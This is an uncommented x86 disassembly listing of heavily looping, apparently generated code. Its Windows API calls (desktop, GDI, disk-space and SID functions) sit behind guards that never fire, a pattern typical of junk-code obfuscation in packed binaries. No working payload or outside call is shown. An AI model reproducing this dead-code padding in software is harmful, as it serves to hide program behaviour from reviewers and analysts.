jmp 0x467746
lea ecx, [ebp - 0x302c]
call fcn.00430d82
jmp 0x467667
lea ecx, [ebp - 0x294c]
call fcn.00430d82
lea ecx, [ebp - 0x1ef0]
call fcn.00430d82
mov dword [ebp - 0x2ef4], 0
mov dword [ebp - 0x3370], 0
mov dword [ebp - 0x2efc], 9
mov dword [ebp - 0x3210], 0x801fc3ee
mov dword [ebp - 0x27d4], 9
mov dword [ebp - 0x27d0], 9
mov dword [ebp - 0x27cc], 9
mov dword [ebp - 0x27c8], 9
lea ecx, [ebp - 0xb0d]
call fcn.00430dad
push eax
lea eax, [ebp - 0x27c4]
push eax
lea eax, [ebp - 0x27d4]
push eax
lea ecx, [ebp - 0x3540]
call fcn.00430db0
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3520]
call fcn.00430d5c
mov dword [ebp - 0x2f04], 1
mov dword [ebp - 0x644], 0
jmp 0x467aa1
mov eax, dword [ebp - 0x644]
inc eax
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 1
jge 0x467abd
mov eax, dword [ebp - 0x644]
mov dword [ebp + eax*4 - 0xc8c], 0x3ee76373
jmp 0x467a94
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc8c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xc8c], eax
lea ecx, [ebp - 0x3520]
call fcn.00430d82
mov dword [ebp - 0x7a8], 0
jmp 0x467afc
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 4
jge 0x467b1b
push dword [ebp - 0x7a8]
lea ecx, [ebp - 0x2a78]
call fcn.00430d9e
and dword [eax], 0
jmp 0x467aef
mov dword [ebp - 0x4a0], 0xdf75dcec
push 2
lea ecx, [ebp - 0x2460]
call fcn.00430cb0
mov dword [ebp - 0x22a0], 0x1e6
mov dword [ebp - 0x1ec], 0
jmp 0x467b55
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 3
jge 0x467b71
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0x3538], 0xcdf5ef88
jmp 0x467b48
mov dword [ebp - 0x1ec], 0
jmp 0x467b8a
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 2
jge 0x467bac
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0x2460]
call fcn.00430d9e
mov dword [eax], 0xc415
jmp 0x467b7d
mov dword [ebp - 0x4a0], 0xffffffeb
jmp 0x467bc5
mov eax, dword [ebp - 0x4a0]
dec eax
mov dword [ebp - 0x4a0], eax
cmp dword [ebp - 0x4a0], 0xffffffe5
je 0x467ce6
mov dword [ebp - 0x20c0], 0xfffffffb
mov dword [ebp - 0x96c], 0x308f4727
mov dword [ebp - 0x2914], 8
mov dword [ebp - 0x2910], 8
mov dword [ebp - 0x290c], 8
mov dword [ebp - 0x2908], 8
lea ecx, [ebp - 0xa69]
call fcn.00430dad
push eax
lea eax, [ebp - 0x2904]
push eax
lea eax, [ebp - 0x2914]
push eax
lea ecx, [ebp - 0x3628]
call fcn.00430db0
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2964]
call fcn.00430d5c
cmp dword [ebp - 0x4a0], 0
jne 0x467cb6
cmp dword [ebp - 0x20c0], 0xfffffff6
jle 0x467c6a
mov eax, 0xfffa
test eax, eax
je 0x467c6a
mov dword [ebp - 0x1bb4], 1
jmp 0x467c71
and dword [ebp - 0x1bb4], 0
push 0
lea ecx, [ebp - 0x2460]
call fcn.00430d9e
mov dword [ebp - 0xa84], eax
mov eax, dword [ebp - 0xa84]
mov ecx, dword [ebp - 0x96c]
imul ecx, dword [eax]
mov dword [ebp - 0x96c], ecx
mov eax, dword [ebp - 0x1bb4]
sub eax, dword [ebp - 0x96c]
mov ecx, dword [ebp - 0xa84]
mov ecx, dword [ecx]
dec ecx
mov edx, dword [ebp - 0xa84]
mov dword [edx], ecx
push 2
lea ecx, [ebp - 0x2964]
call fcn.00430d9e
mov esi, eax
push 1
lea ecx, [ebp - 0x2964]
call fcn.00430d9e
mov ecx, dword [esi]
mov dword [eax], ecx
lea ecx, [ebp - 0x2964]
call fcn.00430d82
jmp 0x467bb8
push 0
lea ecx, [ebp - 0x2460]
call fcn.00430d9e
cmp dword [eax], 0
je 0x467d0b
push 2
pop eax
test eax, eax
je 0x467d0b
mov dword [ebp - 0x20c8], 1
jmp 0x467d12
and dword [ebp - 0x20c8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3538]
mov dword [ebp - 0x3410], eax
mov esi, dword [ebp - 0x22a0]
push 0
lea ecx, [ebp - 0x2460]
call fcn.00430d9e
cmp esi, dword [eax]
jle 0x467d5e
mov byte [ebp - 0x359], 0
movzx eax, byte [ebp - 0x359]
test eax, eax
je 0x467d5c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
jmp 0x467d74
mov dword [ebp - 0x22a8], 0x3f36fc75
mov eax, dword [ebp - 0x22a8]
mov dword [ebp - 0x4a0], eax
lea ecx, [ebp - 0x2460]
call fcn.00430d82
mov dword [ebp - 0x88], 0xa32b1cec
mov eax, dword [ebp - 0x104]
neg eax
add eax, 0x43046b6e
cmp dword [ebp - 0x88], eax
jle 0x467daa
mov dword [ebp - 0xc94], 1
jmp 0x467db1
and dword [ebp - 0xc94], 0
mov eax, dword [ebp - 0xc94]
mov dword [ebp - 0x104], eax
push 3
lea ecx, [ebp - 0x1da4]
call fcn.00430cb0
mov dword [ebp - 0x4e4], 0xe2236432
mov dword [ebp - 0x22b0], 2
mov dword [ebp - 0x64c], 0
jmp 0x467df7
mov eax, dword [ebp - 0x64c]
inc eax
mov dword [ebp - 0x64c], eax
cmp dword [ebp - 0x64c], 3
jge 0x467e19
push dword [ebp - 0x64c]
lea ecx, [ebp - 0x1da4]
call fcn.00430d9e
mov dword [eax], 0xb9b55bb2
jmp 0x467dea
mov dword [ebp - 0x4e4], 0
jmp 0x467e32
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 2
jg 0x467fb1
mov dword [ebp - 0x438], 4
mov dword [ebp - 0xcac], 9
mov dword [ebp - 0x438], 2
jmp 0x467e6c
mov eax, dword [ebp - 0x438]
dec eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0
jl 0x467f91
push dword [ebp - 0x438]
lea ecx, [ebp - 0x1da4]
call fcn.00430d9e
cmp dword [eax], 0
je 0x467ead
push 2
lea ecx, [ebp - 0x1da4]
call fcn.00430d9e
cmp dword [eax], 0
je 0x467ead
mov dword [ebp - 0x1bbc], 1
jmp 0x467eb4
and dword [ebp - 0x1bbc], 0
cmp dword [ebp - 0x1bbc], 0xffffffff
jb 0x467ec9
mov dword [ebp - 0x1bc4], 1
jmp 0x467ed0
and dword [ebp - 0x1bc4], 0
push 1
lea ecx, [ebp - 0x1da4]
call fcn.00430d9e
cmp dword [eax], 0x4de6f885
jne 0x467ef1
mov dword [ebp - 0xc9c], 1
jmp 0x467ef8
and dword [ebp - 0xc9c], 0
imul eax, dword [ebp - 0xc9c], 0xffff
test eax, eax
je 0x467f2d
push 1
lea ecx, [ebp - 0x1da4]
call fcn.00430d9e
cmp dword [eax], 0
je 0x467f2d
mov eax, 0x34bd
test eax, eax
je 0x467f2d
mov dword [ebp - 0xca4], 1
jmp 0x467f34
and dword [ebp - 0xca4], 0
mov eax, dword [ebp - 0x1bc4]
cmp eax, dword [ebp - 0xca4]
jge 0x467f58
push dword [ebp - 0x438]
lea ecx, [ebp - 0x1da4]
call fcn.00430d9e
cmp dword [eax], 0
jne 0x467f6a
mov eax, 0x6753
test eax, eax
jne 0x467f6a
and dword [ebp - 0x1bcc], 0
jmp 0x467f74
mov dword [ebp - 0x1bcc], 1
mov eax, dword [ebp - 0x1bcc]
mov dword [ebp - 0xcac], eax
mov eax, dword [ebp - 0xcac]
mov dword [ebp - 0x22b0], eax
jmp 0x467e5f
push dword [ebp - 0x4e4]
lea ecx, [ebp - 0x1da4]
call fcn.00430d9e
cmp dword [eax], 0
je 0x467fac
jmp 0x467e25
jmp 0x467e25
lea ecx, [ebp - 0x1da4]
call fcn.00430d82
cmp dword [ebp - 0x88], 0
jne 0x467fd1
mov dword [ebp - 0x22b8], 1
jmp 0x467fd8
and dword [ebp - 0x22b8], 0
push 3
lea ecx, [ebp - 0x2a78]
call fcn.00430d9e
mov dword [ebp - 0x974], eax
mov eax, dword [ebp - 0x974]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x974]
mov dword [ecx], eax
mov eax, dword [ebp - 0x974]
cmp dword [eax], 1
jl 0x468013
mov dword [ebp - 0x1bd4], 1
jmp 0x46801a
and dword [ebp - 0x1bd4], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1fdc]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x1fdc]
imul eax, eax, 0xffff
add eax, 0x72b4
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x1fdc]
jne 0x46805b
mov dword [ebp - 0xcb4], 1
jmp 0x468062
and dword [ebp - 0xcb4], 0
mov eax, dword [ebp - 0x1bd4]
cmp eax, dword [ebp - 0xcb4]
je 0x468082
cmp dword [ebp - 0x88], 0
jne 0x468082
and dword [ebp - 0x22c0], 0
jmp 0x46808c
mov dword [ebp - 0x22c0], 1
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1fdc], 4
jg 0x4680a7
mov dword [ebp - 0x1bdc], 1
jmp 0x4680ae
and dword [ebp - 0x1bdc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fdc]
cmp dword [ebp - 0x1bdc], eax
je 0x468c8f
mov dword [ebp - 0x280], 1
mov dword [ebp - 0x22d8], 0xfffffffd
mov dword [ebp - 0x280], 0
jmp 0x4680f4
mov eax, dword [ebp - 0x280]
dec eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0xfffffffb
jg 0x46821d
mov dword [ebp - 0x1bec], 4
mov dword [ebp - 0x22c8], 0xd52aa0a5
mov eax, dword [ebp - 0x1bec]
mov dword [ebp - 0x2f0c], eax
cmp dword [ebp - 0x280], 0
je 0x46813f
mov eax, 0xfffa
test eax, eax
je 0x46813f
mov dword [ebp - 0xcbc], 1
jmp 0x468146
and dword [ebp - 0xcbc], 0
mov eax, dword [ebp - 0x22c8]
cmp dword [ebp - 0xcbc], eax
jge 0x468160
mov dword [ebp - 0x1be4], 1
jmp 0x468167
and dword [ebp - 0x1be4], 0
cmp dword [ebp - 0x1be4], 5
jle 0x46817c
mov dword [ebp - 0xcc4], 1
jmp 0x468183
and dword [ebp - 0xcc4], 0
cmp dword [ebp - 0xcc4], 9
jne 0x468198
mov dword [ebp - 0x22d0], 1
jmp 0x46819f
and dword [ebp - 0x22d0], 0
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x2f40], eax
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x32c4], eax
mov eax, dword [ebp - 0x1bec]
mov dword [ebp - 0x2f48], eax
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x3278], eax
mov eax, 0x65251c60
test eax, eax
jne 0x4681e8
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x4681e8
and dword [ebp - 0xccc], 0
jmp 0x4681f2
mov dword [ebp - 0xccc], 1
mov eax, dword [ebp - 0xccc]
mov dword [ebp - 0x22d8], eax
mov byte [ebp - 0x422], 0
movzx eax, byte [ebp - 0x422]
test eax, eax
je 0x468218
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
jmp 0x4680e7
mov dword [ebp - 0x88], 0
jmp 0x468236
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jg 0x468c8a
mov dword [ebp - 0x248], 3
jmp 0x46825c
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
jl 0x468c85
mov dword [ebp - 0x2f50], 0xec3d
mov dword [ebp - 0x32cc], 0xd8e5ccc9
mov dword [ebp - 0x2f58], 0
mov dword [ebp - 0x3288], 0x2e31d832
mov dword [ebp - 0x339c], 3
mov dword [ebp - 0x3398], 3
mov dword [ebp - 0x3394], 3
mov dword [ebp - 0x3390], 3
mov dword [ebp - 0x2f60], 0xffffffff
mov dword [ebp - 0x32d4], 0xbedcc590
mov dword [ebp - 0x2f68], 0xe6dc660f
mov dword [ebp - 0x3298], 0
mov dword [ebp - 0x2f70], 0xffffffff
mov dword [ebp - 0x32dc], 0xfffffffa
mov dword [ebp - 0x2f78], 7
push 1
lea ecx, [ebp - 0x297c]
call fcn.00430cb0
mov dword [ebp - 0x8a8], 0
jmp 0x468325
mov eax, dword [ebp - 0x8a8]
inc eax
mov dword [ebp - 0x8a8], eax
cmp dword [ebp - 0x8a8], 1
jge 0x468347
push dword [ebp - 0x8a8]
lea ecx, [ebp - 0x297c]
call fcn.00430d9e
mov dword [eax], 1
jmp 0x468318
push 0
lea ecx, [ebp - 0x297c]
call fcn.00430d9e
mov dword [ebp - 0x1bf4], eax
mov eax, dword [ebp - 0x1bf4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1bf4]
mov dword [ecx], eax
lea ecx, [ebp - 0x297c]
call fcn.00430d82
mov dword [ebp - 0x104], 0
jmp 0x46838f
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 3
jg 0x468c80
mov dword [ebp - 0x56c], 0xf5540d7f
mov dword [ebp - 0xb60], 3
mov dword [ebp - 0x22e0], 0x61d5
mov dword [ebp - 0x654], 0
jmp 0x4683d3
mov eax, dword [ebp - 0x654]
inc eax
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 4
jge 0x4683ef
mov eax, dword [ebp - 0x654]
mov dword [ebp + eax*4 - 0x3674], 0xffffffff
jmp 0x4683c6
mov dword [ebp - 0x56c], 0x1c
jmp 0x468408
mov eax, dword [ebp - 0x56c]
dec eax
mov dword [ebp - 0x56c], eax
cmp dword [ebp - 0x56c], 3
jne 0x468589
mov dword [ebp - 0x4ec], 0x7758b39d
mov dword [ebp - 0x22f0], 0x5fcb
mov dword [ebp - 0x22f8], 1
cmp dword [ebp - 0x22e0], 0
je 0x46846e
cmp dword [ebp - 0x56c], 0
jge 0x468451
mov dword [ebp - 0xcd4], 1
jmp 0x468458
and dword [ebp - 0xcd4], 0
mov eax, dword [ebp - 0xcd4]
neg eax
je 0x46846e
mov dword [ebp - 0x1bfc], 1
jmp 0x468475
and dword [ebp - 0x1bfc], 0
cmp dword [ebp - 0x1bfc], 0xffffffff
jne 0x46848a
mov dword [ebp - 0xcdc], 1
jmp 0x468491
and dword [ebp - 0xcdc], 0
mov eax, dword [ebp - 0xb60]
imul eax, dword [ebp - 0xcdc]
cmp eax, dword [ebp - 0x4ec]
jge 0x4684b2
mov dword [ebp - 0x1c04], 1
jmp 0x4684b9
and dword [ebp - 0x1c04], 0
cmp dword [ebp - 0x1c04], 0xfffffffb
jl 0x4684ce
mov dword [ebp - 0x22e8], 1
jmp 0x4684d5
and dword [ebp - 0x22e8], 0
mov eax, dword [ebp - 0xb60]
mov dword [ebp - 0x32a8], eax
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x2f80], eax
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x32e4], eax
cmp dword [ebp - 0x4ec], 6
jae 0x46850e
mov dword [ebp - 0xce4], 1
jmp 0x468515
and dword [ebp - 0xce4], 0
mov eax, dword [ebp - 0xb60]
cmp dword [ebp - 0xce4], eax
jle 0x46852f
mov dword [ebp - 0x1c0c], 1
jmp 0x468536
and dword [ebp - 0x1c0c], 0
mov eax, dword [ebp - 0x22f0]
cmp dword [ebp - 0x1c0c], eax
jle 0x468550
mov dword [ebp - 0xcec], 1
jmp 0x468557
and dword [ebp - 0xcec], 0
mov eax, dword [ebp - 0x4ec]
cmp dword [ebp - 0xcec], eax
jge 0x468571
mov dword [ebp - 0x1c14], 1
jmp 0x468578
and dword [ebp - 0x1c14], 0
mov eax, dword [ebp - 0x1c14]
mov dword [ebp - 0x22f8], eax
jmp 0x4683fb
push 2
lea ecx, [ebp - 0x1e74]
call fcn.00430cb0
mov dword [ebp - 0x240], 0xffffffff
push 1
lea ecx, [ebp - 0x2a00]
call fcn.00430cb0
mov dword [ebp - 0x2300], 0
mov dword [ebp - 0x54], 0
jmp 0x4685c7
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x4685e0
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1e74]
call fcn.00430d9e
or dword [eax], 0xffffffff
jmp 0x4685c0
mov dword [ebp - 0x54], 0
jmp 0x4685f0
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x46860c
push dword [ebp - 0x54]
lea ecx, [ebp - 0x2a00]
call fcn.00430d9e
mov dword [eax], 0xd3b3152c
jmp 0x4685e9
mov dword [ebp - 0x54], 0
jmp 0x46861c
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x468632
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x2f18], 0xc18ab9c2
jmp 0x468615
mov dword [ebp - 0x240], 1
jmp 0x46864b
mov eax, dword [ebp - 0x240]
dec eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
jl 0x4687b3
mov dword [ebp - 0xcf4], 0x780ca9f8
push dword [ebp - 0x240]
lea ecx, [ebp - 0x1e74]
call fcn.00430d9e
mov esi, dword [eax]
neg esi
push 0
lea ecx, [ebp - 0x2a00]
call fcn.00430d9e
mov dword [eax], esi
push dword [ebp - 0x240]
lea ecx, [ebp - 0x1e74]
call fcn.00430d9e
cmp dword [eax], 0
jne 0x468798
mov dword [ebp - 0xcf4], 0x3de0369b
cmp dword [ebp - 0x240], 0
jne 0x4686da
push 1
lea ecx, [ebp - 0x1e74]
call fcn.00430d9e
cmp dword [eax], 0
je 0x4686da
cmp dword [ebp - 0xcf4], 0
je 0x4686da
mov dword [ebp - 0x1c1c], 1
jmp 0x4686e1
and dword [ebp - 0x1c1c], 0
cmp dword [ebp - 0x1c1c], 0x15e314a5
je 0x4686f9
mov dword [ebp - 0xcfc], 1
jmp 0x468700
and dword [ebp - 0xcfc], 0
cmp dword [ebp - 0xcfc], 0x964a90c6
jbe 0x468718
mov dword [ebp - 0x1c24], 1
jmp 0x46871f
and dword [ebp - 0x1c24], 0
cmp dword [ebp - 0x1c24], 6
jne 0x468734
mov dword [ebp - 0xd04], 1
jmp 0x46873b
and dword [ebp - 0xd04], 0
push dword [ebp - 0x240]
lea ecx, [ebp - 0x1e74]
call fcn.00430d9e
mov esi, eax
push 1
lea ecx, [ebp - 0x1e74]
call fcn.00430d9e
mov ecx, dword [esi]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0xd04]
je 0x468773
mov dword [ebp - 0x1c2c], 1
jmp 0x46877a
and dword [ebp - 0x1c2c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2f18]
cmp dword [ebp - 0x1c2c], eax
jg 0x468798
and dword [ebp - 0xd0c], 0
jmp 0x4687a2
mov dword [ebp - 0xd0c], 1
mov eax, dword [ebp - 0xd0c]
mov dword [ebp - 0x2300], eax
jmp 0x46863e
lea ecx, [ebp - 0x2a00]
call fcn.00430d82
lea ecx, [ebp - 0x1e74]
call fcn.00430d82
mov byte [ebp - 0x369], 0
mov dword [ebp - 0x2c0], 0xfffffffd
mov dword [ebp - 0x7b0], 0
jmp 0x4687f3
mov eax, dword [ebp - 0x7b0]
inc eax
mov dword [ebp - 0x7b0], eax
cmp dword [ebp - 0x7b0], 3
jge 0x46880f
mov eax, dword [ebp - 0x7b0]
mov dword [ebp + eax*4 - 0x2a48], 0xfffffffe
jmp 0x4687e6
mov dword [ebp - 0x2c0], 0
jmp 0x468828
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0xf
je 0x468c66
push 3
lea ecx, [ebp - 0x1db4]
call fcn.00430cb0
mov dword [ebp - 0x24], 0xf2000252
mov dword [ebp - 0xd4c], 0x87dd7d55
mov dword [ebp - 0x65c], 0
jmp 0x46886c
mov eax, dword [ebp - 0x65c]
inc eax
mov dword [ebp - 0x65c], eax
cmp dword [ebp - 0x65c], 3
jge 0x46888e
push dword [ebp - 0x65c]
lea ecx, [ebp - 0x1db4]
call fcn.00430d9e
mov dword [eax], 4
jmp 0x46885f
mov dword [ebp - 0x24], 2
jmp 0x46889e
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x46893d
mov dword [ebp - 0x13c], 5
mov dword [ebp - 0x13c], 0
jmp 0x4688cb
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 2
jg 0x4688f0
mov byte [ebp - 0x361], 0
movzx eax, byte [ebp - 0x361]
test eax, eax
je 0x4688ee
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
jmp 0x4688be
mov dword [ebp - 0x13c], 0
jmp 0x468909
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 2
jg 0x468938
push 1
lea ecx, [ebp - 0x1db4]
call fcn.00430d9e
mov esi, eax
push dword [ebp - 0x13c]
lea ecx, [ebp - 0x1db4]
call fcn.00430d9e
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x4688fc
jmp 0x468897
push 1
lea ecx, [ebp - 0x1db4]
call fcn.00430d9e
mov ecx, dword [ebp - 0x2c0]
cmp dword [eax], ecx
jge 0x468960
mov dword [ebp - 0x1c34], 1
jmp 0x468967
and dword [ebp - 0x1c34], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x1c34]
je 0x46897e
mov dword [ebp - 0xd14], 1
jmp 0x468985
and dword [ebp - 0xd14], 0
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0xd14]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c3c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1c3c]
mov dword [ebp + eax - 0x2a48], ecx
cmp dword [ebp - 0x1c3c], 0xedad94e8
jb 0x4689c3
mov dword [ebp - 0xd1c], 1
jmp 0x4689ca
and dword [ebp - 0xd1c], 0
push 0
lea ecx, [ebp - 0x1db4]
call fcn.00430d9e
mov ecx, dword [ebp - 0xd1c]
cmp ecx, dword [eax]
je 0x4689ed
mov dword [ebp - 0x1c44], 1
jmp 0x4689f4
and dword [ebp - 0x1c44], 0
cmp dword [ebp - 0x1c44], 0x2c5d177c
jl 0x468a0c
mov dword [ebp - 0xd24], 1
jmp 0x468a13
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0xd24]
jle 0x468a2a
mov dword [ebp - 0x1c4c], 1
jmp 0x468a31
and dword [ebp - 0x1c4c], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x1c4c]
jge 0x468a51
cmp dword [ebp - 0x2c0], 0
je 0x468a51
mov dword [ebp - 0xd2c], 1
jmp 0x468a58
and dword [ebp - 0xd2c], 0
cmp dword [ebp - 0xd2c], 0
je 0x468c3f
mov dword [ebp - 0x858], 0
mov dword [ebp - 0x2308], 0xfffffffc
mov dword [ebp - 0x24], 2
jmp 0x468a89
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x468af2
mov byte [ebp - 0x414], 0
movzx eax, byte [ebp - 0x414]
test eax, eax
je 0x468ab1
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov eax, 0x72c34ccb
test eax, eax
je 0x468ad9
push dword [ebp - 0x24]
lea ecx, [ebp - 0x1db4]
call fcn.00430d9e
cmp dword [eax], 0
je 0x468ad9
mov dword [ebp - 0x1c54], 1
jmp 0x468ae0
and dword [ebp - 0x1c54], 0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c54]
mov dword [ebp + eax*4 - 0x2a48], ecx
jmp 0x468a82
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0xd34], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd34]
mov dword [ebp + eax - 0x2a48], ecx
cmp dword [ebp - 0xd34], 0
je 0x468b36
mov dword [ebp - 0x24], 0x536c745d
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2f88], eax
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0x32ec], eax
cmp dword [ebp - 0x858], 0
jae 0x468b54
cmp dword [ebp - 0x2c0], 0
je 0x468b54
mov dword [ebp - 0x1c5c], 1
jmp 0x468b5b
and dword [ebp - 0x1c5c], 0
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x1c5c], eax
jge 0x468b75
mov dword [ebp - 0xd3c], 1
jmp 0x468b7c
and dword [ebp - 0xd3c], 0
cmp dword [ebp - 0xd3c], 0
jle 0x468b91
mov dword [ebp - 0x1c64], 1
jmp 0x468b98
and dword [ebp - 0x1c64], 0
cmp dword [ebp - 0x1c64], 0
jbe 0x468bb3
mov dword [ebp - 0x1c7c], 6
mov eax, dword [ebp - 0x1c7c]
dec eax
mov dword [ebp - 0x1c7c], eax
lea ecx, [ebp - 0x1db4]
call fcn.00430d82
jmp 0x46881b
movzx eax, byte [ebp - 0x369]
test eax, eax
je 0x468c7b
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x468382
jmp 0x46824f
jmp 0x468229
jmp 0x469697
mov dword [ebp - 0x664], 3
mov dword [ebp - 0x664], 0
jmp 0x468cb2
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 0x12
jne 0x468d13
mov dword [ebp - 0x2310], 0x6158
mov dword [ebp - 0x2318], 0
mov eax, dword [ebp - 0x2310]
mov dword [ebp - 0x2318], eax
mov byte [ebp - 0x402], 0
movzx eax, byte [ebp - 0x402]
test eax, eax
je 0x468d11
push 0x1d87
push 0
push 0
push 0x2578
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
jmp 0x468ca5
mov dword [ebp - 0x88], 0xfffffff4
jmp 0x468d2c
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x36
je 0x469697
mov dword [ebp - 0x104], 0
jmp 0x468d52
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 3
jg 0x469692
push 2
lea ecx, [ebp - 0x303c]
call fcn.00430cb0
mov dword [ebp - 0x66c], 9
mov dword [ebp - 0x7b8], 0
jmp 0x468d8f
mov eax, dword [ebp - 0x7b8]
inc eax
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x7b8], 2
jge 0x468db1
push dword [ebp - 0x7b8]
lea ecx, [ebp - 0x303c]
call fcn.00430d9e
mov dword [eax], 3
jmp 0x468d82
mov dword [ebp - 0x66c], 1
jmp 0x468dca
mov eax, dword [ebp - 0x66c]
dec eax
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0
jl 0x468df1
mov byte [ebp - 0x371], 0
movzx eax, byte [ebp - 0x371]
test eax, eax
je 0x468def
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
jmp 0x468dbd
lea ecx, [ebp - 0x303c]
call fcn.00430d82
mov dword [ebp - 0x248], 0
jmp 0x468e15
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 3
jg 0x46968d
mov dword [ebp - 0x5cc], 0xf5540d7f
mov dword [ebp - 0x97c], 3
mov dword [ebp - 0x2320], 0x61d5
mov dword [ebp - 0x8e8], 0
jmp 0x468e59
mov eax, dword [ebp - 0x8e8]
inc eax
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x8e8], 4
jge 0x468e75
mov eax, dword [ebp - 0x8e8]
mov dword [ebp + eax*4 - 0x3684], 0xffffffff
jmp 0x468e4c
mov dword [ebp - 0x5cc], 0x1c
jmp 0x468e8e
mov eax, dword [ebp - 0x5cc]
dec eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 3
jne 0x46900f
mov dword [ebp - 0x4f4], 0x7758b39d
mov dword [ebp - 0x2330], 0x5fcb
mov dword [ebp - 0x2338], 1
cmp dword [ebp - 0x2320], 0
je 0x468ef4
cmp dword [ebp - 0x5cc], 0
jge 0x468ed7
mov dword [ebp - 0xd5c], 1
jmp 0x468ede
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0xd5c]
neg eax
je 0x468ef4
mov dword [ebp - 0x1c84], 1
jmp 0x468efb
and dword [ebp - 0x1c84], 0
cmp dword [ebp - 0x1c84], 0xffffffff
jne 0x468f10
mov dword [ebp - 0xd64], 1
jmp 0x468f17
